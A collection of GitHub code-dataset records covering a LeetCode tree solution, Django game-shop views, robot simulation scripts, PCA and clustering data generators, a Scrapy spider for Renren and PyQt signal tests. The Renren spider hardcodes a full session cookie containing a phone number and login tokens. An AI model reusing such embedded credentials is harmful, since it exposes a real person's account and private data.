vehicle_speed_klasse2,\n \"voertuigsnelheid_harmonisch_klasse2\": vehicle_speed_klasse2,\n \"verkeersintensiteit_klasse3\": \"0\",\n \"voertuigsnelheid_rekenkundig_klasse3\": \"0\",\n \"voertuigsnelheid_harmonisch_klasse3\": \"252\",\n \"verkeersintensiteit_klasse4\": \"0\",\n \"voertuigsnelheid_rekenkundig_klasse4\": \"0\",\n \"voertuigsnelheid_harmonisch_klasse4\": \"252\",\n \"verkeersintensiteit_klasse5\": \"5\",\n \"voertuigsnelheid_rekenkundig_klasse5\": \"86\",\n \"voertuigsnelheid_harmonisch_klasse5\": \"86\",\n \"rekendata_bezettingsgraad\": \"6\",\n \"rekendata_beschikbaarheidsgraad\": \"100\",\n \"rekendata_onrustigheid\": \"86\"\n }\n","repo_name":"becloudway/serverless-data-pipeline","sub_path":"src/integration_tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":7664,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"30532177135","text":"# needed for python unit testings\n# https://docs.python.org/3/library/unittest.html\nfrom collections import deque\nimport unittest\n\n# required for type hinting\n# https://mypy.readthedocs.io/en/stable/cheat_sheet_py3.html\nfrom typing import List, Dict, Set, Optional\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x, left=None, right=None):\n self.val = x\n self.left = left\n self.right = right\n\nclass Solution:\n '''\n Given the root of a binary tree, the value of a target node target, and an\n integer k, return an array of the values of all nodes that have a distance k\n from the target node.\n '''\n def distanceK(self, root: TreeNode, target: TreeNode, k: int) -> List[int]:\n def dfs(node, parent):\n if not node:\n return\n node.parent = parent\n dfs(node.left, node)\n dfs(node.right, node)\n dfs(root, None)\n answer = []\n q = deque([(target,0)])\n v = set()\n while q:\n n,d = q.popleft()\n if n is None or n.val in v or d > k:\n continue\n v.add(n.val)\n if d == k:\n answer.append(n.val)\n q.append((n.left,d+1))\n q.append((n.right,d+1))\n q.append((n.parent,d+1))\n return answer\n\nclass UnitTesting(unittest.TestCase):\n def test_one(self):\n s = Solution()\n i = TreeNode(3,\n TreeNode(5, \n TreeNode(6), \n TreeNode(2, \n TreeNode(7),\n TreeNode(4)\n )\n ),\n TreeNode(1, TreeNode(0), TreeNode(8))\n )\n j = i.left\n k = 2\n o = [7,4,1]\n self.assertEqual(s.distanceK(i,j,k), o)\n\n def test_two(self):\n s = Solution()\n i = TreeNode(1)\n j = i\n k = 3\n o = []\n self.assertEqual(s.distanceK(i,j,k), o)\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)","repo_name":"olsenw/LeetCodeExercises","sub_path":"Python3/all_nodes_distance_k_in_binary_tree.py","file_name":"all_nodes_distance_k_in_binary_tree.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34623898473","text":"import logging\n\n\ndef get_value(job,selector):\n try: \n value = job.select_one(selector).text.strip()\n logger = logging.getLogger('utils')\n logger.setLevel(logging.DEBUG)\n logger.info('got value successfully')\n except:\n value = ''\n logging.error('no value for selected job_ad')\n\n return value\n","repo_name":"milosstanisavljevic/jobcloud-internship-project","sub_path":"crawler/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24864546271","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom game.models import Game, Category\nfrom .forms import *\nfrom django.core.paginator import Paginator,Page\nfrom payment.models import *\nfrom django.db.models import Q\nfrom django.views.generic import ListView\nfrom payment.models import Transaction\nfrom collection.models import Collection\n\n\ndef decimalToPriceTag(decimal):\n return str(decimal)+'€'\n\ndef new_edit_view(request):\n if request.user.groups.get(name='Developer'):\n context = {}\n context['form_action'] = ''\n if request.method == 'POST':\n form = GameForm(request.POST, request.FILES)#put the request form into gameform\n #if the form is valid\n if form.is_valid():\n game= form.save(commit=False)\n game.owner = request.user\n categories = form.cleaned_data.get('category')\n game.save()\n for i in range(len(categories)):\n game.category.add(categories[i])\n game.save()\n return redirect('/inventory')\n else:\n context['message']= 'alert-danger'\n else:\n form = GameForm()\n context['form'] = form\n return render(request, \"game/edit.html\", context)\n return render(request, \"403.html\")\n\n\ndef play_view(request,id):\n context={}\n if request.user.is_authenticated:\n game = get_object_or_404(Game,pk=id)##from the model find the id corresponding game\n if (Collection.isUserOwning(request.user, game)):\n context['game']=game\n return render(request,\"game/play.html\",context)\n if request.user==game.owner:#develop has the game.owenership so they can play the game\n context['game']=game\n return render(request,\"game/play.html\",context)\n return render(request,\"403.html\")\n\n\ndef description(request, game_id):\n game = get_object_or_404(Game, pk=game_id)\n\n context = {}\n\n # If game not available\n if not (game.available):\n if (request.user.is_authenticated and\n (Collection.isUserOwning(user=request.user, game=game) or\n game.owner == request.user)\n ):\n context['extra_message'] = \"Game is not in sale anymore.\"\n\n else:\n return render(request, '404.html')\n\n # if game available or already bought\n if (request.user.is_authenticated):\n # If user have bought the game\n if(Collection.isUserOwning(user=request.user,game=game)):\n owned = True\n # User is developer and owns the game\n elif(game.owner == request.user):\n owned = True\n # User is developer but not owner\n elif (request.user.groups.all()[0].name == 'Developer'):\n owned = -1\n else:\n owned = False\n in_cart = Cart.isItemInCart(request.user,game)\n else:\n owned = None\n in_cart= False\n\n game.priceTag = decimalToPriceTag(game.price)\n categories = game.category.all()\n\n context['game'] = game\n context['owned'] = owned # True if player and bought or owner. False if not bought. -1 if other developer.\n context['in_cart'] = in_cart # Shows if the game is already added to the cart\n context['categories'] = categories # All categories of the game\n\n return render(request,\"game/description.html\",context)\n\n\ndef category(request, pk):\n error_msg = 'There is no game!'\n cate = get_object_or_404(Category, pk=pk)\n game_list = Game.objects.filter(category=cate).order_by('-name')\n game_list = game_list.filter(available=True)\n context = {'game_list': game_list,\n 'category': cate.name,\n 'error_msg': error_msg}\n return render(request, 'game/search.html', context)\n\n\ndef edit_view(request,game_id):\n if request.user.is_authenticated:\n user = request.user\n context = {}\n game=Game.objects.get(pk=game_id)\n\n # If user is not the owner of the game, -> 403\n if(game.owner != user):\n return render(request, \"403.html\")\n\n form = GameForm(instance=game)\n if request.method == 'POST':\n form = GameForm(request.POST, request.FILES, instance=game)\n if form.is_valid():\n form.save()\n return redirect('/inventory')\n else:\n context['message']= 'alert-danger'\n context['form'] = form\n return render(request, \"game/edit.html\", context)\n\n # User not logged in\n return render(request,\"403.html\")\n\n\ndef search(request):\n q = request.GET.get('q')\n error_msg = 'There is no game. Please try other keywords!'\n game_list = Game.objects.filter(Q(name__icontains=q) | Q(description__icontains=q))\n game_list = game_list.filter(available=True)\n context = {'error_msg': error_msg,\n 'game_list': game_list}\n return render(request, 'game/search.html', context)\n\nclass IndexView(ListView):\n model = Game\n template_name = 'game/search.html'\n context_object_name = 'game_list'\n paginate_by = 9\n\n\ndef statistic_view(request, game_id):\n game = get_object_or_404(Game, pk=game_id)\n if (request.user.is_authenticated):\n if(request.user == game.owner):\n game.priceTag = decimalToPriceTag(game.price)\n\n # Get 5 most recent transaction\n trans = Transaction.objects.filter(game = game).order_by('-date')[:5]\n categories = game.category.all()\n context = {\n 'game': game,\n 'trans':trans,\n 'categories':categories\n }\n return render(request, \"game/statistic.html\", context)\n\n return render(request, \"403.html\")\n\n","repo_name":"royaalto/Web_Shop","sub_path":"game/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14069282983","text":"\"\"\"\nTest for CoppeliaSim using the Pioneer pd3x robot (ZeroMQ API)\n\nAuthor: Juan-Pablo Ramirez-Paredes \nMobile Robotics course, University of Guanajuato (2023)\n\"\"\"\n\nimport time\nimport numpy as np\nimport math as m\n\nfrom coppeliasim_zmqremoteapi_client import RemoteAPIClient\n\ndef q2R(x,y,z,w):\n R = np.zeros((3,3))\n R[0,0] = 1-2*(y**2+z**2)\n R[0,1] = 2*(x*y-z*w)\n R[0,2] = 2*(x*z+y*w)\n R[1,0] = 2*(x*y+z*w)\n R[1,1] = 1-2*(x**2+z**2)\n R[1,2] = 2*(y*z-x*w)\n R[2,0] = 2*(x*z-y*w)\n R[2,1] = 2*(y*z+x*w)\n R[2,2] = 1-2*(x**2+y**2)\n return R\n\nclient = RemoteAPIClient()\nsim = client.getObject('sim')\n\nprint('Program started')\n\nsensor = sim.getObject(\"/sensor\")\nsphere0 = sim.getObject(\"/Sphere[0]\")\nsphere1 = sim.getObject(\"/Sphere[1]\")\n\nsim.startSimulation()\n\nwhile sim.getSimulationTime() < 1:\n result, distance, detectedPoint, detectedObjectHandle, detectedSurfaceNormalVector = sim.readProximitySensor(sensor)\n print(f'res={result} dist={distance} point={detectedPoint} handle={detectedObjectHandle} normal={detectedSurfaceNormalVector}')\n t = sim.getObjectPosition(sensor, sim.handle_world)\n q = sim.getObjectQuaternion(sensor, sim.handle_world)\n R = q2R(q[0], q[1], q[2], q[3])\n print(f'translation={t} quaternion={q}')\n print('Rotation matrix:')\n print(R)\n pw = R @ np.array(detectedPoint) + np.array(t)\n pw_real = R @ np.array([0,0,distance]) + np.array(t)\n print(f'ideal point in world coordinates : {pw}')\n print(f' real point in world coordinates : {pw_real}')\n sim.setObjectPosition(sphere0, sim.handle_world, pw.tolist())\n sim.setObjectPosition(sphere1, sim.handle_world, pw_real.tolist())\n\nsim.pauseSimulation()\ntime.sleep(5)\n\nsim.stopSimulation()","repo_name":"jpiramirez/roboticamovil","sub_path":"distancesensordemo.py","file_name":"distancesensordemo.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"75"} +{"seq_id":"5803771093","text":"from typing import Optional\n\nimport keystone\n\nfrom . import config, utils\n\n\ndef assemble(asm_string: str) -> Optional[bytes]:\n code = bytearray()\n try:\n encoding, _ = config.config.ks.asm(asm_string)\n code += bytearray(encoding)\n\n except keystone.keystone.KsError:\n utils.ko(f\"Cannot assemble {asm_string}\")\n return None\n\n return bytes(code)\n","repo_name":"valkheim/asmshell","sub_path":"asmshell/assembler.py","file_name":"assembler.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"21605761757","text":"import json\nimport pandas as pd\nimport numpy as np\nfrom collections import OrderedDict\n\ndata = open(\"D:\\FinInsightServices\\PythonLec01\\CalBeta\\data\\Callbeta.dat\",'r').read()\n\nsource = json.loads(data)\n\n\ndf_kospi = pd.DataFrame(source[\"KOSPI200\"])\n\nvar_kospi = np.var(df_kospi[\"LogYield\"])\n\nre = []\n\nfor k in source.keys():\n if (k != 'KOSPI200'):\n df = pd.DataFrame(source[k])\n cov = np.cov(df_kospi[\"LogYield\"] , df[\"LogYield\"] )[0][1] \n beta = cov / var_kospi\n item = {}\n item[\"ItemCode\"] = k\n item[\"Beta\"] = beta\n re.append(item)\n\nprint(json.dumps(re))","repo_name":"coolba73/PythonLec01","sub_path":"CalBeta/CalBeta02.py","file_name":"CalBeta02.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19515368295","text":"# n-students biodata print it person by person\nn=int(input('n=?'))\nb=[]\nfor i in range(n):\n a=[]\n x=input('Nmae : ')\n y=input('Age : ')\n c=input('Gender : ')\n d=input('Address: ')\n e=input('Emailid: ')\n a.append(x)\n a.append(y)\n a.append(c)\n a.append(d)\n a.append(e)\n b.append(a)\nprint(\"n-students biodata\",b)\nprint(\"print it person by person\")\nfor i in b:\n print(i)\n","repo_name":"epsibaranis/Looping_Structure","sub_path":"for Loop in data structure/List/n-students biodata print it person by person.py","file_name":"n-students biodata print it person by person.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"75091428723","text":"import math\nimport re\nimport numpy as np\nfrom gym import spaces\n\n\nURDF_FILENAME = \"mini_cheetah/mini_cheetah.urdf\"\n\nT_STEP = 0.001\nNUM_ACTION_REPEAT = 33\nCTRL_LATENCY = 0.002\n\nNUM_MOTORS = 12\nNUM_LEGS = 4\nMOTOR_NAMES = [\n \"torso_to_abduct_fl_j\",\n \"abduct_fl_to_thigh_fl_j\",\n \"thigh_fl_to_knee_fl_j\",\n \"torso_to_abduct_hl_j\",\n \"abduct_hl_to_thigh_hl_j\",\n \"thigh_hl_to_knee_hl_j\",\n \"torso_to_abduct_fr_j\",\n \"abduct_fr_to_thigh_fr_j\",\n \"thigh_fr_to_knee_fr_j\",\n \"torso_to_abduct_hr_j\",\n \"abduct_hr_to_thigh_hr_j\",\n \"thigh_hr_to_knee_hr_j\",\n]\nPATTERN = [re.compile(r\"torso_\"), re.compile(r\"abduct_\"),\n re.compile(r\"thigh_\"), re.compile(r\"toe_\")]\n\nINIT_RACK_POSITION = [0, 0, 1]\nINIT_POSITION = [0, 0, 0.28]\nINIT_QUAT = [0.0, 0.0, 0.0, 1.0]\nJOINT_DIRECTIONS = np.array([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]) # to be done\nDOFS_PER_LEG = 3\nJOINT_OFFSETS = np.array([0.0, 0.0, 0.0] * 4)\n\n_DEFAULT_HIP_POSITIONS = (\n (0.38, -0.1161, 0),\n (0.38, 0.1161, 0),\n (-0.38, -0.1161, 0),\n (-0.38, 0.1161, 0),\n)\n\n# Bases on the readings from Laikago's default pose.\nINIT_MOTOR_ANGLES = np.array([0, -0.78, 1.74] * NUM_LEGS)\n\n\nmotor_kp = [80.0, 80.0, 80.0] * NUM_LEGS\nmotor_kd = [0.1, 1.0, 1.0] * NUM_LEGS\n\n\nOVERHEAT_SHUTDOWN_TORQUE = 2.45\nOVERHEAT_SHUTDOWN_TIME = 1.0\nMAX_MOTOR_ANGLE_CHANGE_PER_STEP = 0.2\n","repo_name":"Derek-TH-Wang/OpenRoboRL","sub_path":"OpenRoboRL/envs/quadruped_robot/robots/mini_cheetah.py","file_name":"mini_cheetah.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"75"} +{"seq_id":"12196529270","text":"import numpy as np\n\ndef load_sample_data_pca():\n \n np.random.seed(3)\n eps=0.5\n n=30\n x=np.random.uniform(-1,1,n) \n y=x+eps*np.random.uniform(-1,1,n)\n x=x-np.mean(x)\n y=y-np.mean(y)\n data=np.vstack((x,y)).transpose()\n \n return data\n\n\ndef load_multidimensional_data_pca(n_data=40 ,n_vec=6, dim=20, eps= 0.5 ):\n \n points=[]\n vectors=np.random.uniform(-1,1,(dim,n_vec))\n for idata in range(n_data):\n alphas=np.random.normal(size=n_vec)\n points.append(np.sum(np.dot(vectors,np.diag(alphas)),axis=1))\n \n points=np.array(points)\n pert=eps*np.random.normal(size=points.shape)\n \n return points+pert\n\ndef load_ex1_data_pca(eps=0.1):\n \n np.random.seed(1231)\n n=30\n x=np.random.uniform(-1,1,n)\n \n y=2*x*x\n \n epsx=eps*np.random.uniform(-1,1,n)\n epsy=eps*np.random.uniform(-1,1,n)\n\n x=x+epsx\n y=y+epsy\n\n x=x-np.mean(x)\n y=y-np.mean(y)\n\n data=np.vstack((x,y)).transpose()\n return data\n \ndef load_ex2_data_pca(dim=10 , eps=0.0 , seed=8, fat=True, eps1=0.05, n_add=30):\n \n group = np.array([[0.067, 0.21], [0.092, 0.21],\n [0.294, 0.445], [0.227, 0.521], [0.185, 0.597],\n [0.185, 0.689], [0.235, 0.748], [0.319, 0.773],\n [0.387, 0.739], [0.437, 0.672], [0.496, 0.739],\n [0.571, 0.773], [0.639, 0.765], [0.765, 0.924],\n [0.807, 0.933], [0.849, 0.941], [0.118, 0.143], [0.118, 0.176], \n [0.345, 0.378], [0.395, 0.319], [0.437, 0.261],\n [0.496, 0.328], [0.546, 0.395], [0.605, 0.462],\n [0.655, 0.529], [0.697, 0.597], [0.706, 0.664],\n [0.681, 0.723], [0.849, 0.798], [0.857, 0.849],\n [0.866, 0.899]])\n \n points=[]\n np.random.seed(seed)\n n_data=group.shape[0]\n \n vectors=np.random.uniform(-1,1,(dim,2))\n vectors[:,0]=vectors[:,0]/np.linalg.norm(vectors[:,0])\n vectors[:,1]=vectors[:,1]-np.dot(vectors[:,1],vectors[:,0])*vectors[:,0]\n vectors[:,1]=vectors[:,1]/np.linalg.norm(vectors[:,1])\n \n for idata in range(n_data):\n points.append(np.sum(np.dot(vectors,np.diag(group[idata,:])),axis=1))\n \n points=np.array(points)\n pert=eps*np.random.normal(size=points.shape)\n \n data=points+pert\n \n data=data-np.mean(data,axis=0)\n if (fat):\n data_added={}\n for iadd in range(n_add):\n data_added[iadd]=np.zeros((n_data,dim))\n for idata in range(n_data):\n noise=np.random.uniform(-eps1,eps1,dim)\n data_added[iadd][idata,:]=data[idata,:]+noise[:]\n for iadd in range(n_add):\n data=np.concatenate([data,data_added[iadd]],axis=0)\n \n return data\n\ndef load_ex1_data_clust(dim=5, n_clusters=6, eps=12.0, dist=20, seed=13124, n_points=20, return_centers=False):\n\n np.random.seed(seed)\n centers=np.random.uniform(-dist,dist,(dim,n_clusters))\n cov=np.identity(dim)*eps\n \n data={}\n for iclust in range(n_clusters):\n data[iclust] = np.random.multivariate_normal(centers[:,iclust], cov, n_points)\n\n if (return_centers):\n return centers,np.concatenate([data[iclust] for iclust in data.keys()],axis=0) \n else:\n return np.concatenate([data[iclust] for iclust in data.keys()],axis=0) \n \ndef km_load_th1():\n return load_ex1_data_clust(dim=2, n_clusters=3, eps=12.0, dist=20, seed=13124, n_points=40, return_centers=False)\n\n\ndef gm_load_th1():\n np.random.seed(1321)\n points1=np.random.multivariate_normal([0,0], [[0.01,0.0],[0.0,1.0]], 1000)\n points2=np.random.multivariate_normal([0,4], [[0.01,0.0],[0.0,1.0]], 1000)\n points3=np.random.multivariate_normal([1,2], [[0.01,0.0],[0.0,1.0]], 1000)\n\n points=np.concatenate([points1,points2, points3], axis=0)\n return points\n\n\ndef gm_load_th2():\n np.random.seed(14321)\n points1=np.random.multivariate_normal([0,0.0], [[0.01,0.0],[0.0,1.0]], 1000)\n points2=np.random.multivariate_normal([0,0.0], [[1.5,0.0],[0.0,1.0]], 1000)\n points=np.concatenate([points1,points2], axis=0)\n return points","repo_name":"neworldemancer/DSF5","sub_path":"utils/routines.py","file_name":"routines.py","file_ext":"py","file_size_in_byte":3961,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"75"} +{"seq_id":"13263991216","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport re\n\n\nclass RenrenSpider(scrapy.Spider):\n name = 'renren'\n allowed_domains = ['renren.com']\n start_urls = ['http://www.renren.com/511563151/profile']\n\n\n def start_requests(self):\n cookies = \"anonymid=jvevv94ix9yqdh; depovince=GW; _r01_=1; JSESSIONID=abcPKEZYsEGA7cpw2rwQw; ick_login=87b7a2fb-dd8f-4fc5-82c2-c220ab5b0ff9; wp_fold=0; XNESSESSIONID=6a48b56f9abb; jebecookies=ed16ade2-902a-47a1-959d-1e8049fdea41|||||; _de=8D11F1C5CAD27BD9158AF465F3185AA1; p=61362c72ac6fd42f25768f911ec1d34f1; first_login_flag=1; ln_uact=13718488977; ln_hurl=http://hdn.xnimg.cn/photos/hdn321/20150728/2225/h_main_3wSE_49360001982d1986.jpg; t=83f71085bc61eb3abf131fb01837e35b1; societyguester=83f71085bc61eb3abf131fb01837e35b1; id=511563151; xnsid=69b3a9db; ver=7.0; loginfrom=null; wp=0\"\n cookies ={i.split(\"=\")[0]:i.split(\"=\")[1] for i in cookies.split(\";\")}\n yield scrapy.Request(\n self.start_urls[0],\n callback=self.parse,\n cookies=cookies\n )\n\n\n def parse(self, response):\n print(re.findall(\"刘旺\",response.body.decode()))\n yield scrapy.Request(\n \"http://www.renren.com/511563151/profile?v=info_timeline\",\n callback =self.parse_detail\n )\n def parse_detail(self,response):\n print(re.findall(\"刘旺\", response.body.decode()))\n","repo_name":"Liu0330/spider","sub_path":"login/login/login/spiders/renren.py","file_name":"renren.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"11491429083","text":"from dpcv.data.datasets.video_segment_data import TruePersonalityVideoFrameSegmentData\nimport torch\nfrom torch.utils.data import DataLoader\nfrom dpcv.data.datasets.bi_modal_data import VideoData\nfrom dpcv.data.transforms.transform import set_transform_op\nfrom dpcv.data.transforms.build import build_transform_spatial\nfrom .build import DATA_LOADER_REGISTRY\nfrom dpcv.data.transforms.temporal_transforms import TemporalRandomCrop, TemporalDownsample, TemporalEvenCropDownsample\nfrom dpcv.data.transforms.temporal_transforms import Compose as TemporalCompose\nfrom dpcv.data.datasets.common import VideoLoader\n\n\nclass SlowFastTruePerData(TruePersonalityVideoFrameSegmentData):\n\n def __getitem__(self, index):\n img = self.get_image_data(index)\n frame_list = self.pack_pathway_output(img)\n label = self.get_image_label(index)\n return {\"image\": frame_list, \"label\": torch.as_tensor(label, dtype=torch.float32)}\n\n @staticmethod\n def pack_pathway_output(frames):\n fast_pathway = frames\n slow_pathway = torch.index_select(\n frames,\n 1,\n torch.linspace(\n 0, frames.shape[1] - 1, frames.shape[1] // 4\n ).long(),\n )\n frame_list = [slow_pathway, fast_pathway]\n\n return frame_list\n\n\n@DATA_LOADER_REGISTRY.register()\ndef true_per_slow_fast_data_loader(cfg, mode=\"train\"):\n spatial_transform = build_transform_spatial(cfg)\n temporal_transform = [TemporalRandomCrop(64)]\n # temporal_transform = [TemporalDownsample(length=2000), TemporalRandomCrop(64)]\n temporal_transform = TemporalCompose(temporal_transform)\n\n data_cfg = cfg.DATA\n\n if data_cfg.TYPE == \"face\":\n video_loader = VideoLoader(image_name_formatter=lambda x: f\"face_{x}.jpg\")\n else:\n video_loader = VideoLoader(image_name_formatter=lambda x: f\"frame_{x}.jpg\")\n\n data_set = SlowFastTruePerData(\n data_root=\"datasets/chalearn2021\",\n data_split=mode,\n task=data_cfg.SESSION,\n data_type=data_cfg.TYPE,\n video_loader=video_loader,\n spa_trans=spatial_transform,\n tem_trans=temporal_transform,\n )\n shuffle = True if mode == \"train\" else False\n loader_cfg = cfg.DATA_LOADER\n data_loader = DataLoader(\n dataset=data_set,\n batch_size=loader_cfg.TRAIN_BATCH_SIZE,\n shuffle=shuffle,\n num_workers=loader_cfg.NUM_WORKERS,\n )\n return data_loader\n\n\nif __name__ == \"__main__\":\n import os\n from dpcv.config.default_config_opt import cfg\n os.chdir(\"../../../\")\n dataloader = true_per_slow_fast_data_loader(cfg)\n","repo_name":"liaorongfan/DeepPersonality","sub_path":"dpcv/data/datasets/slow_fast_data_true_personality.py","file_name":"slow_fast_data_true_personality.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"75"} +{"seq_id":"13351830317","text":"from tkinter import *\nfrom quiz_brain import QuizBrain\n\n\nTHEME_COLOR = \"#264653\"\nCANVAS_COLOR = \"#e9c46a\"\n\n\nclass QuizInterface:\n\n def __init__(self, quiz_brain: QuizBrain):\n self.quiz = quiz_brain\n\n self.window = Tk()\n self.window.title(\"Quizzler\")\n self.window.minsize(width=600, height=500)\n self.window.resizable(False, False)\n self.window.config(padx=50, pady=50, bg=THEME_COLOR)\n\n self.canvas = Canvas(width=500, height=300, bg=CANVAS_COLOR, highlightthickness=0)\n self.text = self.canvas.create_text(250, 150, text=\"asd\", font=(\"Arial\", 20, \"italic\"), width=450)\n self.canvas.grid(row=1, column=0, columnspan=2)\n\n self.score_label = Label(text=f\"Score : 0 \", font=(\"Arial\", 15, \"bold\"), fg=\"white\", pady=20, bg=THEME_COLOR)\n self.score_label.grid(row=0, column=1)\n\n self.image_true = PhotoImage(file=\"images/true.png\")\n self.button_true = Button(image=self.image_true, highlightthickness=0, borderwidth=0,\n command=self.true_pressed)\n self.button_true.grid(row=2, column=0, pady=20)\n\n self.image_false = PhotoImage(file=\"images/false.png\")\n self.button_false = Button(image=self.image_false, highlightthickness=0, borderwidth=0,\n command=self.false_pressed)\n self.button_false.grid(row=2, column=1, pady=20)\n\n self.get_next_question()\n\n self.window.mainloop()\n\n def get_next_question(self):\n if self.quiz.still_has_questions():\n self.canvas.config(bg=\"#e9c46a\")\n self.score_label.config(text=f\"Score : {self.quiz.score}\")\n q_text = self.quiz.next_question()\n self.canvas.itemconfig(self.text, text=q_text)\n else:\n self.canvas.itemconfig(self.text, text=f\"End of the quiz. Your score : {self.quiz.score}\")\n self.button_false.config(state=\"disable\")\n self.button_true.config(state=\"disable\")\n\n def true_pressed(self):\n is_right = (self.quiz.check_answer(\"True\"))\n self.give_feedback(is_right)\n\n def false_pressed(self):\n is_right = self.quiz.check_answer(\"False\")\n self.give_feedback(is_right)\n\n def give_feedback(self, is_right):\n if is_right:\n self.canvas.config(bg=\"#40916c\")\n else:\n self.canvas.config(bg=\"#c71f37\")\n self.window.after(500, self.get_next_question)\n","repo_name":"SedatParlak/quizzler","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"20364883743","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\n\nfrom AnimationBase import AnimationBase\n\nfrom Maze.Generator import Generator\nfrom Maze.Solver import Solver\n\nclass AnimationMaze(AnimationBase):\n\tdef __init__(self, frameManager, width, height, duration):\n\t\tsuper(AnimationMaze, self).__init__(frameManager, width, height, duration)\n\n\t\tself.maze = Generator().generate(19, 19)\n\t\tself.solution = Solver().solve(self.maze)\n\t\n\tdef render(self, frameNumber, filename):\n\t\tself.frameManager.setCurrentFrame(frameNumber)\n\n\t\tcamera_center = (1.5, 1.0, 0.5)\n\t\tlook_at = self.getCameraLookAt()\n\n\t\tself.initializeWindow(camera_center, look_at)\n\n\t\tself.window.light((1, 2, -3), 0.2, (1, 1, 1))\n\n\t\tself.window.texture('blue', ambient=0.2, diffuse=1.0, specular=0.0, opacity=1.0, color=(0,0,1))\n\t\tself.window.texture('red', ambient=0.2, diffuse=1.0, specular=0.0, opacity=1.0, color=(1,0,0))\n\t\tself.window.texture('white', ambient=0.2, diffuse=1.0, specular=0.0, opacity=1.0, color=(1,1,1))\n\n\t\tscale = self.getScale()\n\n\t\tfor y_pos, y_maze in enumerate(self.maze):\n\t\t\tfor x_pos, wall in enumerate(y_maze):\n\t\t\t\tif wall == '#':\n\t\t\t\t\tself.drawCube(scale * x_pos, 0, scale * y_pos, scale, 'blue')\n\t\t\t\telif wall == 'x':\n\t\t\t\t\tself.drawCube(scale * x_pos, 0, scale * y_pos, scale, 'red')\n\t\t\n\t\t#for pos in self.solution:\n\t\t#\tself.drawCube(scale * pos[0], 0, scale * pos[1], scale, 'white')\n\t\t\n\t\tplayer = self.getPlayerPosition()\n\n\t\tw = (scale / 2.0)\n\n\t\tself.window.sphere((player[0], w, player[1]), w, 'white')\n\t\t\n\t\tself.window.save(filename)\n\n\tdef getPlayerPosition(self):\n\t\tpos_max = len(self.solution) - 1\n\t\t_ = pos_max * (float(self.frameManager.getCurrentFrame()) / float(self.getDuration()))\n\t\tstep = int(_)\n\n\t\tcurrent_pos = self.solution[step]\n\t\tnext_pos = self.solution[min(pos_max, step + 1)]\n\n\t\tplayer = current_pos\n\n\t\tscale = self.getScale()\n\t\tw = (scale / 2.0)\n\t\tp = (_ - step) * scale\n\n\t\tx = scale * player[0] + w\n\t\ty = scale * player[1] + w\n\n\t\tif current_pos[0] < next_pos[0]:\n\t\t\tx += p\n\t\telif current_pos[0] > next_pos[0]:\n\t\t\tx -= p\n\t\t\n\t\tif current_pos[1] < next_pos[1]:\n\t\t\ty += p\n\t\telif current_pos[1] > next_pos[1]:\n\t\t\ty -= p\n\n\t\treturn (x, y)\n\t\n\tdef getCameraLookAt(self):\n\t\tpos = self.getPlayerPosition()\n\t\tscale = self.getScale()\n\t\tw = (scale / 2.0)\n\n\t\treturn (pos[0], w, pos[1])\n\t\n\tdef getScale(self):\n\t\treturn 1. / float(len(self.maze))\n","repo_name":"Xartrick/super-duper-journey","sub_path":"Animations/AnimationMaze.py","file_name":"AnimationMaze.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5014175398","text":"from PyQt5.Qt import *\n\nclass Window(QWidget):\n\n def __init__(self):\n super().__init__()\n self.setWindowTitle(\"信号与槽\")\n self.resize(500, 500)\n self.setup_ui()\n\n def setup_ui(self):\n # self.test_shuxing()\n self.QObject_xinhao()\n\n def test_shuxing(self):\n\n with open(\"QObject.qss\", \"r\") as f:\n qApp.setStyleSheet(f.read())\n\n label = QLabel(self)\n label.setText(\"\")\n\n def QObject_xinhao(self):\n\n self.obj = QObject()\n # obj.objectNameChanged()\n # def destroy_cao(obj):\n # print(\"destoryed\", obj)\n # self.obj.destroyed.connect(destroy_cao)\n #\n # del self.obj\n def obj_name_cao(obj_name):\n print(\"name_changed\", obj_name)\n\n def obj_name_cao2(obj_name):\n print(\"name_changed\", obj_name)\n\n self.obj.objectNameChanged.connect(obj_name_cao)\n self.obj.objectNameChanged.connect(obj_name_cao2)\n # 槽的数量\n print(self.obj.receivers(self.obj.objectNameChanged))\n self.obj.setObjectName(\"hello1\")\n # print(self.obj.signalsBlocked(), \"connect\")\n # # self.obj.objectNameChanged.disconnect()\n # self.obj.blockSignals(0)\n # 